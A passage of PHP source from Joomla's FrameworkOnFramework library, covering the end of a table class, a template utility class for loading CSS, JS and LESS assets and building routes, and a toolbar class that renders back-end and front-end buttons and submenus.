* reorder the table rows based on the filter. The ordering filter is an
instance
* property name. The rows that will be reordered are those whose value
matches
* the FOFTable instance for the property specified.
*
* @param mixed $src An associative array or object to
bind to the FOFTable instance.
* @param string $orderingFilter Filter for the order updating
* @param mixed $ignore An optional array or space separated
list of properties
* to ignore while binding.
*
* @return boolean True on success.
*/
public function save($src, $orderingFilter = '', $ignore =
'')
{
// Attempt to bind the source to the instance.
if (!$this->bind($src, $ignore))
{
return false;
}
// Run any sanity checks on the instance and verify that it is ready for
storage.
if (!$this->check())
{
return false;
}
// Attempt to store the properties to the database table.
if (!$this->store())
{
return false;
}
// Attempt to check the row in, just in case it was checked out.
if (!$this->checkin())
{
return false;
}
// If an ordering filter is set, attempt reorder the rows in the table
based on the filter and value.
if ($orderingFilter)
{
$filterValue = $this->$orderingFilter;
$this->reorder($orderingFilter ?
$this->_db->qn($orderingFilter) . ' = ' .
$this->_db->q($filterValue) : '');
}
// Set the error to empty and return true.
$this->setError('');
return true;
}
/**
* Method to get the next ordering value for a group of rows defined by an
SQL WHERE clause.
* This is useful for placing a new item last in a group of items in the
table.
*
* @param string $where WHERE clause to use for selecting the
MAX(ordering) for the table.
*
* @return mixed Boolean false an failure or the next ordering value as
an integer.
*/
public function getNextOrder($where = '')
{
// If there is no ordering field set an error and return false.
$ordering = $this->getColumnAlias('ordering');
if (!in_array($ordering, $this->getKnownFields()))
{
throw new UnexpectedValueException(sprintf('%s does not support
ordering.', get_class($this)));
}
// Get the largest ordering value for a given where clause.
$query = $this->_db->getQuery(true);
$query->select('MAX('.$this->_db->qn($ordering).')');
$query->from($this->_tbl);
if ($where)
{
$query->where($where);
}
$this->_db->setQuery($query);
$max = (int) $this->_db->loadResult();
// Return the largest ordering value + 1.
return ($max + 1);
}
/**
* Method to lock the database table for writing.
*
* @return boolean True on success.
*
* @throws RuntimeException
*/
protected function _lock()
{
$this->_db->lockTable($this->_tbl);
$this->_locked = true;
return true;
}
/**
* Method to unlock the database table for writing.
*
* @return boolean True on success.
*/
protected function _unlock()
{
$this->_db->unlockTables();
$this->_locked = false;
return true;
}
public function setConfig(array $config)
{
$this->config = $config;
}
/**
* Get the content type for ucm
*
* @return string The content type alias
*/
public function getContentType()
{
if ($this->contentType)
{
return $this->contentType;
}
/**
* When tags was first introduced contentType variable didn't exist
- so we guess one
* This will fail if content history behvaiour is enabled. This code is
deprecated
* and will be removed in FOF 3.0 in favour of the content type class
variable
*/
$component = $this->input->get('option');
$view =
FOFInflector::singularize($this->input->get('view'));
$alias = $component . '.' . $view;
return $alias;
}
/**
* Returns the table relations object of the current table, lazy-loading
it if necessary
*
* @return FOFTableRelations
*/
public function getRelations()
{
if (is_null($this->_relations))
{
$this->_relations = new FOFTableRelations($this);
}
return $this->_relations;
}
/**
* Gets a reference to the configuration parameters provider for this
table
*
* @return FOFConfigProvider
*/
public function getConfigProvider()
{
return $this->configProvider;
}
/**
* Returns the configuration parameters provider's key for this table
*
* @return string
*/
public function getConfigProviderKey()
{
return $this->_configProviderKey;
}
/**
* Check if a UCM content type exists for this resource, and
* create it if it does not
*
* @param string $alias The content type alias (optional)
*
* @return null
*/
public function checkContentType($alias = null)
{
$contentType = new JTableContenttype($this->getDbo());
if (!$alias)
{
$alias = $this->getContentType();
}
$aliasParts = explode('.', $alias);
// Fetch the extension name
$component = $aliasParts[0];
$component = JComponentHelper::getComponent($component);
// Fetch the name using the menu item
$query = $this->getDbo()->getQuery(true);
$query->select('title')->from('#__menu')->where('component_id
= ' . (int) $component->id);
$this->getDbo()->setQuery($query);
$component_name = JText::_($this->getDbo()->loadResult());
$name = $component_name . ' ' . ucfirst($aliasParts[1]);
// Create a new content type for our resource
if (!$contentType->load(array('type_alias' => $alias)))
{
$contentType->type_title = $name;
$contentType->type_alias = $alias;
$contentType->table = json_encode(
array(
'special' => array(
'dbtable' => $this->getTableName(),
'key' => $this->getKeyName(),
'type' => $name,
'prefix' => $this->_tablePrefix,
'class' => 'FOFTable',
'config' => 'array()'
),
'common' => array(
'dbtable' => '#__ucm_content',
'key' => 'ucm_id',
'type' => 'CoreContent',
'prefix' => 'JTable',
'config' => 'array()'
)
)
);
$contentType->field_mappings = json_encode(
array(
'common' => array(
0 => array(
"core_content_item_id" => $this->getKeyName(),
"core_title" =>
$this->getUcmCoreAlias('title'),
"core_state" =>
$this->getUcmCoreAlias('enabled'),
"core_alias" =>
$this->getUcmCoreAlias('alias'),
"core_created_time" =>
$this->getUcmCoreAlias('created_on'),
"core_modified_time" =>
$this->getUcmCoreAlias('created_by'),
"core_body" =>
$this->getUcmCoreAlias('body'),
"core_hits" =>
$this->getUcmCoreAlias('hits'),
"core_publish_up" =>
$this->getUcmCoreAlias('publish_up'),
"core_publish_down" =>
$this->getUcmCoreAlias('publish_down'),
"core_access" =>
$this->getUcmCoreAlias('access'),
"core_params" =>
$this->getUcmCoreAlias('params'),
"core_featured" =>
$this->getUcmCoreAlias('featured'),
"core_metadata" =>
$this->getUcmCoreAlias('metadata'),
"core_language" =>
$this->getUcmCoreAlias('language'),
"core_images" =>
$this->getUcmCoreAlias('images'),
"core_urls" =>
$this->getUcmCoreAlias('urls'),
"core_version" =>
$this->getUcmCoreAlias('version'),
"core_ordering" =>
$this->getUcmCoreAlias('ordering'),
"core_metakey" =>
$this->getUcmCoreAlias('metakey'),
"core_metadesc" =>
$this->getUcmCoreAlias('metadesc'),
"core_catid" =>
$this->getUcmCoreAlias('cat_id'),
"core_xreference" =>
$this->getUcmCoreAlias('xreference'),
"asset_id" =>
$this->getUcmCoreAlias('asset_id')
)
),
'special' => array(
0 => array(
)
)
)
);
$ignoreFields = array(
$this->getUcmCoreAlias('modified_on', null),
$this->getUcmCoreAlias('modified_by', null),
$this->getUcmCoreAlias('locked_by', null),
$this->getUcmCoreAlias('locked_on', null),
$this->getUcmCoreAlias('hits', null),
$this->getUcmCoreAlias('version', null)
);
$contentType->content_history_options = json_encode(
array(
"ignoreChanges" => array_filter($ignoreFields,
'strlen')
)
);
$contentType->router = '';
$contentType->store();
}
}
/**
* Utility methods that fetches the column name for the field.
* If it does not exists, returns a "null" string
*
* @param string $alias The alias for the column
* @param string $null What to return if no column exists
*
* @return string The column name
*/
protected function getUcmCoreAlias($alias, $null = "null")
{
$alias = $this->getColumnAlias($alias);
if (in_array($alias, $this->getKnownFields()))
{
return $alias;
}
return $null;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage template
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A utility class to load view templates, media files and modules.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFTemplateUtils
{
/**
* Add a CSS file to the page generated by the CMS
*
* @param string $path A fancy path definition understood by parsePath
*
* @see FOFTemplateUtils::parsePath
*
* @return void
*/
public static function addCSS($path)
{
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
if (method_exists($document, 'addStyleSheet'))
{
$url = self::parsePath($path);
$document->addStyleSheet($url);
}
}
}
/**
* Add a JS script file to the page generated by the CMS.
*
* There are three combinations of defer and async (see
http://www.w3schools.com/tags/att_script_defer.asp):
* * $defer false, $async true: The script is executed asynchronously with
the rest of the page
* (the script will be executed while the page continues the parsing)
* * $defer true, $async false: The script is executed when the page has
finished parsing.
* * $defer false, $async false. (default) The script is loaded and
executed immediately. When it finishes
* loading the browser continues parsing the rest of the page.
*
* When you are using $defer = true there is no guarantee about the load
order of the scripts. Whichever
* script loads first will be executed first. The order they appear on the
page is completely irrelevant.
*
* @param string $path A fancy path definition understood by
parsePath
* @param boolean $defer Adds the defer attribute, meaning that your
script
* will only load after the page has finished
parsing.
* @param boolean $async Adds the async attribute, meaning that your
script
* will be executed while the rest of the page
* continues parsing.
*
* @see FOFTemplateUtils::parsePath
*
* @return void
*/
public static function addJS($path, $defer = false, $async = false)
{
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
if (method_exists($document, 'addScript'))
{
$url = self::parsePath($path);
$document->addScript($url, "text/javascript", $defer,
$async);
}
}
}
/**
* Compile a LESS file into CSS and add it to the page generated by the
CMS.
* This method has integrated cache support. The compiled LESS files will
be
* written to the media/lib_fof/compiled directory of your site. If the
file
* cannot be written we will use the $altPath, if specified
*
* @param string $path A fancy path definition understood by
parsePath pointing to the source LESS file
* @param string $altPath A fancy path definition understood by
parsePath pointing to a precompiled CSS file,
* used when we can't write the
generated file to the output directory
* @param boolean $returnPath Return the URL of the generated CSS file
but do not include it. If it can't be
* generated, false is returned and the alt
files are not included
*
* @see FOFTemplateUtils::parsePath
*
* @since 2.0
*
* @return mixed True = successfully included generated CSS, False = the
alternate CSS file was used, null = the source file does not exist
*/
public static function addLESS($path, $altPath = null, $returnPath =
false)
{
// Does the cache directory exists and is writeable
static $sanityCheck = null;
// Get the local LESS file
$localFile = self::parsePath($path, true);
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
if (is_null($sanityCheck))
{
// Make sure the cache directory exists
if (!is_dir($platformDirs['public'] .
'/media/lib_fof/compiled/'))
{
$sanityCheck =
$filesystem->folderCreate($platformDirs['public'] .
'/media/lib_fof/compiled/');
}
else
{
$sanityCheck = true;
}
}
// No point continuing if the source file is not there or we can't
write to the cache
if (!$sanityCheck || !is_file($localFile))
{
if (!$returnPath)
{
if (is_string($altPath))
{
self::addCSS($altPath);
}
elseif (is_array($altPath))
{
foreach ($altPath as $anAltPath)
{
self::addCSS($anAltPath);
}
}
}
return false;
}
// Get the source file's unique ID
$id = md5(filemtime($localFile) . filectime($localFile) . $localFile);
// Get the cached file path
$cachedPath = $platformDirs['public'] .
'/media/lib_fof/compiled/' . $id . '.css';
// Get the LESS compiler
$lessCompiler = new FOFLess;
$lessCompiler->formatterName = 'compressed';
// Should I add an alternative import path?
$altFiles = self::getAltPaths($path);
if (isset($altFiles['alternate']))
{
$currentLocation = realpath(dirname($localFile));
$normalLocation = realpath(dirname($altFiles['normal']));
$alternateLocation =
realpath(dirname($altFiles['alternate']));
if ($currentLocation == $normalLocation)
{
$lessCompiler->importDir = array($alternateLocation,
$currentLocation);
}
else
{
$lessCompiler->importDir = array($currentLocation, $normalLocation);
}
}
// Compile the LESS file
$lessCompiler->checkedCompile($localFile, $cachedPath);
// Add the compiled CSS to the page
$base_url = rtrim(FOFPlatform::getInstance()->URIbase(),
'/');
if (substr($base_url, -14) == '/administrator')
{
$base_url = substr($base_url, 0, -14);
}
$url = $base_url . '/media/lib_fof/compiled/' . $id .
'.css';
if ($returnPath)
{
return $url;
}
else
{
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
if (method_exists($document, 'addStyleSheet'))
{
$document->addStyleSheet($url);
}
}
return true;
}
}
/**
* Creates a SEF compatible sort header. Standard Joomla function will add
a href="#" tag, so with SEF
* enabled, the browser will follow the fake link instead of processing
the onSubmit event; so we
* need a fix.
*
* @param string $text Header text
* @param string $field Field used for sorting
* @param FOFUtilsObject $list Object holding the direction and the
ordering field
*
* @return string HTML code for sorting
*/
public static function sefSort($text, $field, $list)
{
$sort = JHTML::_('grid.sort', JText::_(strtoupper($text)) .
' ', $field, $list->order_Dir, $list->order);
return str_replace('href="#"',
'href="javascript:void(0);"', $sort);
}
/**
* Parse a fancy path definition into a path relative to the site's
root,
* respecting template overrides, suitable for inclusion of media files.
* For example, media://com_foobar/css/test.css is parsed into
* media/com_foobar/css/test.css if no override is found, or
* templates/mytemplate/media/com_foobar/css/test.css if the current
* template is called mytemplate and there's a media override for it.
*
* The valid protocols are:
* media:// The media directory or a media override
* admin:// Path relative to administrator directory (no overrides)
* site:// Path relative to site's root (no overrides)
*
* @param string $path Fancy path
* @param boolean $localFile When true, it returns the local path, not
the URL
*
* @return string Parsed path
*/
public static function parsePath($path, $localFile = false)
{
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
if ($localFile)
{
$url = rtrim($platformDirs['root'], DIRECTORY_SEPARATOR) .
'/';
}
else
{
$url = FOFPlatform::getInstance()->URIroot();
}
$altPaths = self::getAltPaths($path);
$filePath = $altPaths['normal'];
// If JDEBUG is enabled, prefer that path, else prefer an alternate path
if present
if (defined('JDEBUG') && JDEBUG &&
isset($altPaths['debug']))
{
if (file_exists($platformDirs['public'] . '/' .
$altPaths['debug']))
{
$filePath = $altPaths['debug'];
}
}
elseif (isset($altPaths['alternate']))
{
if (file_exists($platformDirs['public'] . '/' .
$altPaths['alternate']))
{
$filePath = $altPaths['alternate'];
}
}
$url .= $filePath;
return $url;
}
/**
* Parse a fancy path definition into a path relative to the site's
root.
* It returns both the normal and alternative (template media override)
path.
* For example, media://com_foobar/css/test.css is parsed into
* array(
* 'normal' => 'media/com_foobar/css/test.css',
* 'alternate' =>
'templates/mytemplate/media/com_foobar/css//test.css'
* );
*
* The valid protocols are:
* media:// The media directory or a media override
* admin:// Path relative to administrator directory (no alternate)
* site:// Path relative to site's root (no alternate)
*
* @param string $path Fancy path
*
* @return array Array of normal and alternate parsed path
*/
public static function getAltPaths($path)
{
$protoAndPath = explode('://', $path, 2);
if (count($protoAndPath) < 2)
{
$protocol = 'media';
}
else
{
$protocol = $protoAndPath[0];
$path = $protoAndPath[1];
}
$path = ltrim($path, '/' . DIRECTORY_SEPARATOR);
switch ($protocol)
{
case 'media':
// Do we have a media override in the template?
$pathAndParams = explode('?', $path, 2);
$ret = array(
'normal' => 'media/' . $pathAndParams[0],
'alternate' =>
FOFPlatform::getInstance()->getTemplateOverridePath('media:/'
. $pathAndParams[0], false),
);
break;
case 'admin':
$ret = array(
'normal' => 'administrator/' . $path
);
break;
default:
case 'site':
$ret = array(
'normal' => $path
);
break;
}
// For CSS and JS files, add a debug path if the supplied file is
compressed
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$ext = $filesystem->getExt($ret['normal']);
if (in_array($ext, array('css', 'js')))
{
$file = basename($filesystem->stripExt($ret['normal']));
/*
* Detect if we received a file in the format name.min.ext
* If so, strip the .min part out, otherwise append -uncompressed
*/
if (strlen($file) > 4 && strrpos($file, '.min',
'-4'))
{
$position = strrpos($file, '.min', '-4');
$filename = str_replace('.min', '.', $file,
$position) . $ext;
}
else
{
$filename = $file . '-uncompressed.' . $ext;
}
// Clone the $ret array so we can manipulate the 'normal' path
a bit
$t1 = (object) $ret;
$temp = clone $t1;
unset($t1);
$temp = (array)$temp;
$normalPath = explode('/', $temp['normal']);
array_pop($normalPath);
$normalPath[] = $filename;
$ret['debug'] = implode('/', $normalPath);
}
return $ret;
}
/**
* Returns the contents of a module position
*
* @param string $position The position name, e.g.
"position-1"
* @param int $style Rendering style; please refer to
Joomla!'s code for more information
*
* @return string The contents of the module position
*/
public static function loadPosition($position, $style = -2)
{
$document = FOFPlatform::getInstance()->getDocument();
if (!($document instanceof JDocument))
{
return '';
}
if (!method_exists($document, 'loadRenderer'))
{
return '';
}
try
{
$renderer = $document->loadRenderer('module');
}
catch (Exception $exc)
{
return '';
}
$params = array('style' => $style);
$contents = '';
foreach (JModuleHelper::getModules($position) as $mod)
{
$contents .= $renderer->render($mod, $params);
}
return $contents;
}
/**
* Merges the current url with new or changed parameters.
*
* This method merges the route string with the url parameters defined
* in current url. The parameters defined in current url, but not given
* in route string, will automatically reused in the resulting url.
* But only these following parameters will be reused:
*
* option, view, layout, format
*
* Example:
*
* Assuming that current url is:
* http://fobar.com/index.php?option=com_foo&view=cpanel
*
* <code>
* <?php echo
FOFTemplateutils::route('view=categories&layout=tree'); ?>
* </code>
*
* Result:
*
http://fobar.com/index.php?option=com_foo&view=categories&layout=tree
*
* @param string $route The parameters string
*
* @return string The human readable, complete url
*/
public static function route($route = '')
{
$route = trim($route);
// Special cases
if ($route == 'index.php' || $route == 'index.php?')
{
$result = $route;
}
elseif (substr($route, 0, 1) == '&')
{
$url = JURI::getInstance();
$vars = array();
parse_str($route, $vars);
$url->setQuery(array_merge($url->getQuery(true), $vars));
$result = 'index.php?' . $url->getQuery();
}
else
{
$url = JURI::getInstance();
$props = $url->getQuery(true);
// Strip 'index.php?'
if (substr($route, 0, 10) == 'index.php?')
{
$route = substr($route, 10);
}
// Parse route
$parts = array();
parse_str($route, $parts);
$result = array();
// Check to see if there is component information in the route if not
add it
if (!isset($parts['option']) &&
isset($props['option']))
{
$result[] = 'option=' . $props['option'];
}
// Add the layout information to the route only if it's not
'default'
if (!isset($parts['view']) &&
isset($props['view']))
{
$result[] = 'view=' . $props['view'];
if (!isset($parts['layout']) &&
isset($props['layout']))
{
$result[] = 'layout=' . $props['layout'];
}
}
// Add the format information to the URL only if it's not
'html'
if (!isset($parts['format']) &&
isset($props['format']) && $props['format'] !=
'html')
{
$result[] = 'format=' . $props['format'];
}
// Reconstruct the route
if (!empty($route))
{
$result[] = $route;
}
$result = 'index.php?' . implode('&', $result);
}
return JRoute::_($result);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage toolbar
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* The Toolbar class renders the back-end component title area and the
back-
* and front-end toolbars.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFToolbar
{
/** @var array Configuration parameters */
protected $config = array();
/** @var array Input (e.g. request) variables */
protected $input = array();
/** @var array Permissions map, see the __construct method for more
information */
public $perms = array();
/** @var array The links to be rendered in the toolbar */
protected $linkbar = array();
/** @var bool Should I render the submenu in the front-end? */
protected $renderFrontendSubmenu = false;
/** @var bool Should I render buttons in the front-end? */
protected $renderFrontendButtons = false;
/**
* Gets an instance of a component's toolbar
*
* @param string $option The name of the component
* @param array $config The configuration array for the component
*
* @return FOFToolbar The toolbar instance for the component
*/
public static function &getAnInstance($option = null, $config =
array())
{
static $instances = array();
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$hash = $option;
if (!array_key_exists($hash, $instances))
{
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$input = $config['input'];
}
else
{
$input = new FOFInput($config['input']);
}
}
else
{
$input = new FOFInput;
}
$config['option'] = !is_null($option) ? $option :
$input->getCmd('option', 'com_foobar');
$input->set('option', $config['option']);
$config['input'] = $input;
$className = ucfirst(str_replace('com_', '',
$config['option'])) . 'Toolbar';
if (!class_exists($className))
{
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
$searchPaths = array(
$componentPaths['main'],
$componentPaths['main'] . '/toolbars',
$componentPaths['alt'],
$componentPaths['alt'] . '/toolbars'
);
if (array_key_exists('searchpath', $config))
{
array_unshift($searchPaths, $config['searchpath']);
}
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
$path = $filesystem->pathFind(
$searchPaths, 'toolbar.php'
);
if ($path)
{
require_once $path;
}
}
if (!class_exists($className))
{
$className = 'FOFToolbar';
}
$instance = new $className($config);
$instances[$hash] = $instance;
}
return $instances[$hash];
}
/**
* Public constructor
*
* @param array $config The configuration array of the component
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Cache the config
$this->config = $config;
// Get the input for this MVC triad
if (array_key_exists('input', $config))
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput;
}
// Get the default values for the component and view names
$this->component = $this->input->getCmd('option',
'com_foobar');
// Overrides from the config
if (array_key_exists('option', $config))
{
$this->component = $config['option'];
}
$this->input->set('option', $this->component);
// Get default permissions (can be overridden by the view)
$platform = FOFPlatform::getInstance();
$perms = (object) array(
'manage' =>
$platform->authorise('core.manage',
$this->input->getCmd('option', 'com_foobar')),
'create' =>
$platform->authorise('core.create',
$this->input->getCmd('option', 'com_foobar')),
'edit' => $platform->authorise('core.edit',
$this->input->getCmd('option', 'com_foobar')),
'editstate' =>
$platform->authorise('core.edit.state',
$this->input->getCmd('option', 'com_foobar')),
'delete' =>
$platform->authorise('core.delete',
$this->input->getCmd('option', 'com_foobar')),
);
// Save front-end toolbar and submenu rendering flags if present in the
config
if (array_key_exists('renderFrontendButtons', $config))
{
$this->renderFrontendButtons =
$config['renderFrontendButtons'];
}
if (array_key_exists('renderFrontendSubmenu', $config))
{
$this->renderFrontendSubmenu =
$config['renderFrontendSubmenu'];
}
// If not in the administrative area, load the JToolbarHelper
if (!FOFPlatform::getInstance()->isBackend())
{
// Needed for tests, so we can inject our "special"
helper class
if(!class_exists('JToolbarHelper'))
{
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
require_once $platformDirs['root'] .
'/administrator/includes/toolbar.php';
}
// Things to do if we have to render a front-end toolbar
if ($this->renderFrontendButtons)
{
// Load back-end toolbar language files in front-end
FOFPlatform::getInstance()->loadTranslations('');
// Needed for tests (we can fake we're not in the
backend, but we are still in CLI!)
if(!FOFPlatform::getInstance()->isCli())
{
// Load the core Javascript
if (version_compare(JVERSION, '3.0',
'ge'))
{
JHtml::_('jquery.framework');
if (version_compare(JVERSION, '3.3.0', 'ge'))
{
JHtml::_('behavior.core');
}
else
{
JHtml::_('behavior.framework', true);
}
}
else
{
JHtml::_('behavior.framework');
}
}
}
}
// Store permissions in the local toolbar object
$this->perms = $perms;
}
/**
* Renders the toolbar for the current view and task
*
* @param string $view The view of the component
* @param string $task The exact task of the view
* @param FOFInput $input An optional input object used to determine
the defaults
*
* @return void
*/
public function renderToolbar($view = null, $task = null, $input = null)
{
if (!empty($input))
{
$saveInput = $this->input;
$this->input = $input;
}
// If tmpl=component the default behaviour is to not render the toolbar
if ($this->input->getCmd('tmpl', '') ==
'component')
{
$render_toolbar = false;
}
else
{
$render_toolbar = true;
}
// If there is a render_toolbar=0 in the URL, do not render a toolbar
$render_toolbar = $this->input->getBool('render_toolbar',
$render_toolbar);
if (!$render_toolbar)
{
return;
}
// Get the view and task
if (empty($view))
{
$view = $this->input->getCmd('view',
'cpanel');
}
if (empty($task))
{
$task = $this->input->getCmd('task',
'default');
}
$this->view = $view;
$this->task = $task;
$view = FOFInflector::pluralize($view);
$component = $this->input->get('option',
'com_foobar', 'cmd');
$configProvider = new FOFConfigProvider;
$toolbar = $configProvider->get(
$component . '.views.' . $view . '.toolbar.' . $task
);
// If we have a toolbar config specified
if (!empty($toolbar))
{
return $this->renderFromConfig($toolbar);
}
// Check for an onViewTask method
$methodName = 'on' . ucfirst($view) . ucfirst($task);
if (method_exists($this, $methodName))
{
return $this->$methodName();
}
// Check for an onView method
$methodName = 'on' . ucfirst($view);
if (method_exists($this, $methodName))
{
return $this->$methodName();
}
// Check for an onTask method
$methodName = 'on' . ucfirst($task);
if (method_exists($this, $methodName))
{
return $this->$methodName();
}
if (!empty($input))
{
$this->input = $saveInput;
}
}
/**
* Renders the toolbar for the component's Control Panel page
*
* @return void
*/
public function onCpanelsBrowse()
{
if (FOFPlatform::getInstance()->isBackend() ||
$this->renderFrontendSubmenu)
{
$this->renderSubmenu();
}
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
$option = $this->input->getCmd('option',
'com_foobar');
JToolbarHelper::title(JText::_(strtoupper($option)),
str_replace('com_', '', $option));
JToolbarHelper::preferences($option, 550, 875);
}
/**
* Renders the toolbar for the component's Browse pages (the plural
views)
*
* @return void
*/
public function onBrowse()
{
// On frontend, buttons must be added specifically
if (FOFPlatform::getInstance()->isBackend() ||
$this->renderFrontendSubmenu)
{
$this->renderSubmenu();
}
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
// Set toolbar title
$option = $this->input->getCmd('option',
'com_foobar');
$subtitle_key = strtoupper($option . '_TITLE_' .
$this->input->getCmd('view', 'cpanel'));
JToolbarHelper::title(JText::_(strtoupper($option)) . ': ' .
JText::_($subtitle_key), str_replace('com_', '',
$option));
// Add toolbar buttons
if ($this->perms->create)
{
if (version_compare(JVERSION, '3.0', 'ge'))
{
JToolbarHelper::addNew();
}
else
{
JToolbarHelper::addNewX();
}
}
if ($this->perms->edit)
{
if (version_compare(JVERSION, '3.0', 'ge'))
{
JToolbarHelper::editList();
}
else
{
JToolbarHelper::editListX();
}
}
if ($this->perms->create || $this->perms->edit)
{
JToolbarHelper::divider();
}
if ($this->perms->editstate)
{
JToolbarHelper::publishList();
JToolbarHelper::unpublishList();
JToolbarHelper::divider();
}
if ($this->perms->delete)
{
$msg = JText::_($this->input->getCmd('option',
'com_foobar') . '_CONFIRM_DELETE');
JToolbarHelper::deleteList(strtoupper($msg));
}
}
/**
* Renders the toolbar for the component's Read pages
*
* @return void
*/
public function onRead()
{
// On frontend, buttons must be added specifically
if (FOFPlatform::getInstance()->isBackend() ||
$this->renderFrontendSubmenu)
{
$this->renderSubmenu();
}
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
$option = $this->input->getCmd('option',
'com_foobar');
$componentName = str_replace('com_', '', $option);
// Set toolbar title
$subtitle_key = strtoupper($option . '_TITLE_' .
$this->input->getCmd('view', 'cpanel') .
'_READ');
JToolbarHelper::title(JText::_(strtoupper($option)) . ': ' .
JText::_($subtitle_key), $componentName);
// Set toolbar icons
JToolbarHelper::back();
}
/**
* Renders the toolbar for the component's Add pages
*
* @return void
*/
public function onAdd()
{
// On frontend, buttons must be added specifically
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
$option = $this->input->getCmd('option',
'com_foobar');
$componentName = str_replace('com_', '', $option);
// Set toolbar title
$subtitle_key = strtoupper($option . '_TITLE_' .
FOFInflector::pluralize($this->input->getCmd('view',
'cpanel'))) . '_EDIT';
JToolbarHelper::title(JText::_(strtoupper($option)) . ': ' .
JText::_($subtitle_key), $componentName);
// Set toolbar icons
if ($this->perms->edit || $this->perms->editown)
{
// Show the apply button only if I can edit the record,
otherwise I'll return to the edit form and get a
// 403 error since I can't do that
JToolbarHelper::apply();
}
JToolbarHelper::save();
if ($this->perms->create)
{
JToolbarHelper::custom('savenew', 'save-new.png',
'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
}
JToolbarHelper::cancel();
}
/**
* Renders the toolbar for the component's Edit pages
*
* @return void
*/
public function onEdit()
{
// On frontend, buttons must be added specifically
if (!FOFPlatform::getInstance()->isBackend() &&
!$this->renderFrontendButtons)
{
return;
}
$this->onAdd();
}
/**
* Removes all links from the link bar
*
* @return void
*/
public function clearLinks()
{
$this->linkbar = array();
}
/**
* Get the link bar's link definitions
*
* @return array
*/
public function &getLinks()
{
return $this->linkbar;
}
/**
* Append a link to the link bar
*
* @param string $name The text of the link
* @param string|null $link The link to render; set to null to
render a separator
* @param boolean $active True if it's an active link
* @param string|null $icon Icon class (used by some renderers, like
the Bootstrap renderer)
* @param string|null $parent The parent element (referenced by name))
This will create a dropdown list
*
* @return void
*/
public function appendLink($name, $link = null, $active = false, $icon =
null, $parent = '')
{
$linkDefinition = array(
'name' => $name,
'link' => $link,
'active' => $active,
'icon' => $icon
);
if (empty($parent))
{
if(array_key_exists($name, $this->linkbar))
{
$this->linkbar[$name] =
array_merge($this->linkbar[$name], $linkDefinition);
// If there already are some children, I have to put this
view link in the "items" array in the first place
if(array_key_exists('items',
$this->linkbar[$name]))
{
array_unshift($this->linkbar[$name]['items'],
$linkDefinition);
}
}
else
{
$this->linkbar[$name] = $linkDefinition;
}
}
else
{
if (!array_key_exists($parent, $this->linkbar))
{
$parentElement = $linkDefinition;
$parentElement['name'] = $parent;
$parentElement['link'] = null;
$this->linkbar[$parent] = $parentElement;
$parentElement['items'] = array();
}
else
{
$parentElement = $this->linkbar[$parent];
if (!array_key_exists('dropdown', $parentElement) &&
!empty($parentElement['link']))
{
$newSubElement = $parentElement;
$parentElement['items'] = array($newSubElement);
}
}
$parentElement['items'][] = $linkDefinition;
$parentElement['dropdown'] = true;
if($active)
{
$parentElement['active'] = true;
}
$this->linkbar[$parent] = $parentElement;
}
}
/**
* Prefixes (some people erroneously call this "prepend" –
there is no such word) a link to the link bar
*
* @param string $name The text of the link
* @param string|null $link The link to render; set to null to
render a separator
* @param boolean $active True if it's an active link
* @param string|null $icon Icon class (used by some renderers, like
the Bootstrap renderer)
*
* @return void
*/
public function prefixLink($name, $link = null, $active = false, $icon =
null)
{
$linkDefinition = array(
'name' => $name,
'link' => $link,
'active' => $active,
'icon' => $icon
);
array_unshift($this->linkbar, $linkDefinition);
}
/**
* Renders the submenu (toolbar links) for all detected views of this
component
*
* @return void
*/
public function renderSubmenu()
{
$views = $this->getMyViews();
if (empty($views))
{
return;
}
$activeView = $this->input->getCmd('view',
'cpanel');
foreach ($views as $view)
{
// Get the view name
$key = strtoupper($this->component) . '_TITLE_' .
strtoupper($view);
//Do we have a translation for this key?
if (strtoupper(JText::_($key)) == $key)
{
$altview = FOFInflector::isPlural($view) ?
FOFInflector::singularize($view) : FOFInflector::pluralize($view);
$key2 = strtoupper($this->component) . '_TITLE_' .
strtoupper($altview);
// Maybe we have for the alternative view?
if (strtoupper(JText::_($key2)) == $key2)
{
// Nope, let's use the raw name
$name = ucfirst($view);
}
else
{
$name = JText::_($key2);
}
}
else
{
$name = JText::_($key);
}
$link = 'index.php?option=' . $this->component .
'&view=' . $view;
$active = $view == $activeView;
$this->appendLink($name, $link, $active);
}
}
